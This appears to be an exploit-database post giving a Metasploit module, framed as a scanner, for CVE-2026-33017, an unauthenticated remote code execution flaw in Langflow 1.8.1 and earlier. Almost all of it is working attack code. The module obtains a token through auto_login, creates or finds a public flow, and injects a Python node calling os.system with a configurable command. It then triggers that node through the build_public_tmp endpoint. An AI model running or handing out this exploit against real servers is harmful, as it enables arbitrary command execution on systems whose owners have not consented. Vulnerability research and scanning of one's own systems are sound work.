================================================================================================================================== | # Title : Langflow 1.8.1 Unauthenticated RCE Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.langflow.org/ | ================================================================================================================================== [+] Summary : This Metasploit auxiliary module scans Langflow instances for the CVE-2026-33017 vulnerability, an unauthenticated Remote Code Execution (RCE) affecting versions ≤ 1.8.1. [+] The module works by: Attempting to obtain an authentication token via the auto_login endpoint Locating or creating a public flow Injecting a malicious Python component into the flow Triggering execution through the API Determining vulnerability based on successful execution indicators (e.g., job creation) [+] POC : class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow CVE-2026-33017 Scanner', 'Description' => %q{ Scan Langflow instances for unauthenticated RCE (CVE-2026-33017). }, 'License' => MSF_LICENSE, 'Author' => ['indoushka'], 'References' => [ ['CVE', '2026-33017'] ], 'DisclosureDate' => '2026-03-30' ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('TEST_COMMAND', [false, 'Command', 'echo VULN_TEST']), OptString.new('FLOW_ID', [false, 'Public flow ID', nil]), OptBool.new('AUTO_LOGIN', [true, 'Use auto_login', true]), OptBool.new('CLEANUP', [true, 'Delete created flow', true]) ]) end def run_host(ip) print_status("Scanning #{rhost}:#{rport}") flow_id = datastore['FLOW_ID'] token = nil flow_created = false if datastore['AUTO_LOGIN'] token = get_auth_token end if flow_id.nil? if token flow_id = find_public_flow(token) if flow_id.nil? flow_id = create_public_flow(token) flow_created = true if flow_id end else print_error("No token and no FLOW_ID") return end end if flow_id.nil? print_error("Failed to obtain flow_id") return end test_cmd = datastore['TEST_COMMAND'] success = send_exploit(flow_id, test_cmd, token) if success print_good("#{rhost}:#{rport} VULNERABLE") report_vulnerability(flow_id) else print_status("#{rhost}:#{rport} Not vulnerable") end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} Connection failed") ensure if flow_created && datastore['CLEANUP'] && token && flow_id delete_flow(flow_id, token) end end def get_auth_token res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login') ) return nil unless res&.code == 200 json = res.get_json_document rescue nil json ? json['access_token'] : nil end def find_public_flow(token) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), 'headers' => { 'Authorization' => "Bearer #{token}" } ) return nil unless res&.code == 200 flows = res.get_json_document rescue nil return nil unless flows.is_a?(Array) flows.each do |f| return f['id'] if f['access_type'] == 'PUBLIC' end nil end def create_public_flow(token) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), 'headers' => { 'Authorization' => "Bearer #{token}", 'Content-Type' => 'application/json' }, 'data' => { name: "scanner-#{Rex::Text.rand_text_alpha(6)}", data: { nodes: [], edges: [], viewport: {} }, access_type: 'PUBLIC' }.to_json ) return nil unless res&.code == 200 json = res.get_json_document rescue nil json ? json['id'] : nil end def delete_flow(flow_id, token) send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, "api/v1/flows/#{flow_id}"), 'headers' => { 'Authorization' => "Bearer #{token}" } ) end def build_exploit_payload(cmd) { data: { nodes: [{ id: Rex::Text.rand_text_uuid, type: 'genericNode', data: { node: { template: { code: { value: "__import__('os').system('#{cmd}')" } } } } }] } } end def send_exploit(flow_id, command, token = nil) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), 'ctype' => 'application/json', 'data' => build_exploit_payload(command).to_json ) return false unless res&.code == 200 json = res.get_json_document rescue nil json && json['job_id'] end def report_vulnerability(flow_id) report_vuln( host: rhost, port: rport, name: name, info: "Vulnerable to CVE-2026-33017 (flow_id=#{flow_id})" ) end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================